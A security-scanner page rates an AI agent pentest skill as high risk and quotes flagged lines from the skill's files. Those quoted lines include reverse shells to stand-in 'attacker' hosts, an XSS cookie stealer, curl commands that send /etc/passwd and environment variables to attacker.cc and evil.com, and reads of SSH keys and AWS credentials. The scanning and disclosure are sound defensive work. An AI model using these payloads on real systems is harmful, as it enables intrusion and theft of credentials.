← All skills
pentest-tools
30 / 100 · High risk
Only if you trust the author. Some of what it can do is expected: a coding skill usually runs build and test commands.
By sickn33/agentic-awesome-skills (GitHub) · coding · 49,524 stars · scanned at commit 00f9c40
Operate 20+ penetration-testing tools (Nmap, Nuclei, SQLMap, FFUF, Hashcat, and more) through structured workflows with consistent output handling.
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 36 places.
Show 17 more
- skills/pentest-tools/SKILL.md, line 250
| SQLMap | ✓ | `pip install sqlmap` 或 git clone | Python | - skills/pentest-tools/SKILL.md, line 256
| Impacket | ✓ | `pip install impacket` | Python | - skills/pentest-tools/SKILL.md, line 257
| ProxyCat | ✓ | `pip install proxycat` | 代理池中间件（批量扫描防封） | - skills/pentest-tools/SKILL.md, line 259
| Reqable MCP | ✓ | `npx -y reqable-mcp-server@1.0.1` | 需先手动安装 Reqable 桌面客户端 | - skills/pentest-tools/SKILL.md, line 278
- Nuclei: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest - skills/pentest-tools/SKILL.md, line 279
- SQLMap: pip install sqlmap - skills/pentest-tools/references/burpsuite-mcp-guide.md, line 710
- Linux / Kali：`sudo apt install burpsuite` 或官方 .jar - skills/pentest-tools/references/kali-mcp-ecosystem.md, line 15
- **安装**：`apt install mcp-kali-server` - skills/pentest-tools/references/kali-mcp-ecosystem.md, line 29
- **安装**：`apt install metasploitmcp` - skills/pentest-tools/references/kali-mcp-ecosystem.md, line 42
- **安装**：`apt install hexstrike-ai` - skills/pentest-tools/references/kali-mcp-ecosystem.md, line 51
- **安装**：`go install github.com/Armur-Ai/Pentest-Swarm-AI/cmd/pentestswarm@v0.1.0` - skills/pentest-tools/references/nuclei-guide-2026.md, line 12
- 已集成到 Kali 官方仓库（`apt install nuclei`） - skills/pentest-tools/references/nuclei-guide-2026.md, line 20
apt install nuclei - skills/pentest-tools/references/nuclei-guide-2026.md, line 22
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest - skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 492
npm install -g graphql-cli - skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 496
pip install inql - skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 500
npm install -g graphql-cop
and 16 more places
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 99 places.
Show 17 more
- skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 293
?file=../../../var/log/apache2/access.log&c=bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1" - skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 757
POST: <?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?> - skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 868
?file=data://text/plain,<?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?> - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 415
; bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1" - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 417
; python -c "import socket,subprocess,os;s=socket.socket();s.connect(('attacker',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subpro - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 720
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 59
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"').read()}} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 170
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 174
- ` ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")}` — 参数与载荷内容 _va - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 401
${T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 523
{system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"")} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 619
${self.module.cache.util.os.popen("id").read()} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 620
${self.module.cache.util.os.popen("whoami").read()} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 621
${self.module.cache.util.os.system("id")} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 624
- `os.popen()` — 打开管道执行命令 _function_ - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 633
${subprocess.check_output(["id","-a"])} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 634
${subprocess.Popen(["id"],stdout=subprocess.PIPE).communicate()[0]}
and 79 more places
Sends data to these websites: target, api.ipify.org, crt.sh, api.example, app.example, attacker.com, api.target.com, target.com, target$path, attacker.cc and 1 more
The author does not mention this.
Found in 923 places.
Show 17 more
- skills/pentest-tools/references/msf-protocol.md, line 115
- 公网 IP 不知道时：`curl -s https://api.ipify.org` - skills/pentest-tools/references/network-attack-defense.md, line 37
curl "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' - skills/pentest-tools/references/recon-pipeline.md, line 35
curl -sS -D - -o NUL --max-time 15 \ - skills/pentest-tools/references/recon-pipeline.md, line 43
curl -sS --max-time 15 \ - skills/pentest-tools/references/recon-pipeline.md, line 127
-ReproCommand 'curl -s "https://api.example/app/v1/clock" -A "Mozilla/5.0" -H "Origin: https://app.example" -H "Referer: https://app.example/"' ` - skills/pentest-tools/references/web-attack-cheatsheet.md, line 79
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> - skills/pentest-tools/references/web-attack-cheatsheet.md, line 192
curl -s -H "Auth: TOKEN" "https://api.target.com/users/$id" | grep -v "403" - skills/pentest-tools/references/web-attack-cheatsheet.md, line 320
fetch('https://target.com/api/change-email', { - skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 477
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path - skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 483
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path - skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 491
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path - skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md, line 248
curl -s http://target/ | grep -iE "(seeyon|tongda|weaver|yongyou|kingdee|landray|jeecg|ruoyi|nacos|druid)" - skills/pentest-tools/src-hunter/references/industry/banking-finance.md, line 100
curl -X POST https://target/pay/notify \ - skills/pentest-tools/src-hunter/references/industry/banking-finance.md, line 106
curl -X POST https://target/pay/notify -d "out_trade_no=ORDER001&trade_status=SUCCESS" - skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 173
curl https://attacker.cc/?d=`whoami` - skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 174
curl -X POST -d "$(cat /etc/passwd | base64)" https://attacker.cc/ - skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 245
AWS-IMDSv2 curl -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token
and 903 more places
Changes files outside its own folder
The author does not mention this.
Found in 1 place.
Contains code that is hidden or hard to read
The author does not mention this.
Found in 6 places.
Show 3 more
Reads your saved credentials, such as SSH keys or .env files
This is disclosed by the author in the skill's SKILL.md or README.
Found in 9 places.
Show 6 more
- skills/pentest-tools/src-hunter/references/playbooks/file-upload.md, line 549
"../../../root/.ssh/id_rsa" "../../../root/.bash_history" - skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md, line 918
with open("/root/.ssh/id_rsa", "r") as f: - skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 137
/root/.ssh/authorized_keys /root/.ssh/id_rsa - skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 246
读到 /home/web/.ssh/id_rsa → SSH 私钥（不要使用） - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 293
→ 横向（看 /etc/hosts, ~/.aws/credentials, ~/.docker/config.json） - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 4426
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))"
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Other copies in this repository
sickn33/agentic-awesome-skills has 2 more folders with a skill named pentest-tools. This page shows the lowest-scoring copy.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'pentest-tools' ] || [ -L ~/.agents/skills/'pentest-tools' ]; then echo 'A skill folder named pentest-tools already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/sickn33/agentic-awesome-skills' "$d" && git -C "$d" checkout --quiet '00f9c4077878be6ffcc093c099f05a6cccaf1b95' -- 'skills/pentest-tools' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/pentest-tools' ~/.agents/skills/'pentest-tools' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'pentest-tools' ~/.claude/skills/'pentest-tools' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for sickn33/agentic-awesome-skills shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/sickn33/agentic-awesome-skills/)
Score history
| Date | Version | Score |
|---|
| 2026-11-11 | 00f9c40 | 30 |
| 2026-11-08 | 828257c | 30 |
| 2026-11-07 | 828257c | 30 |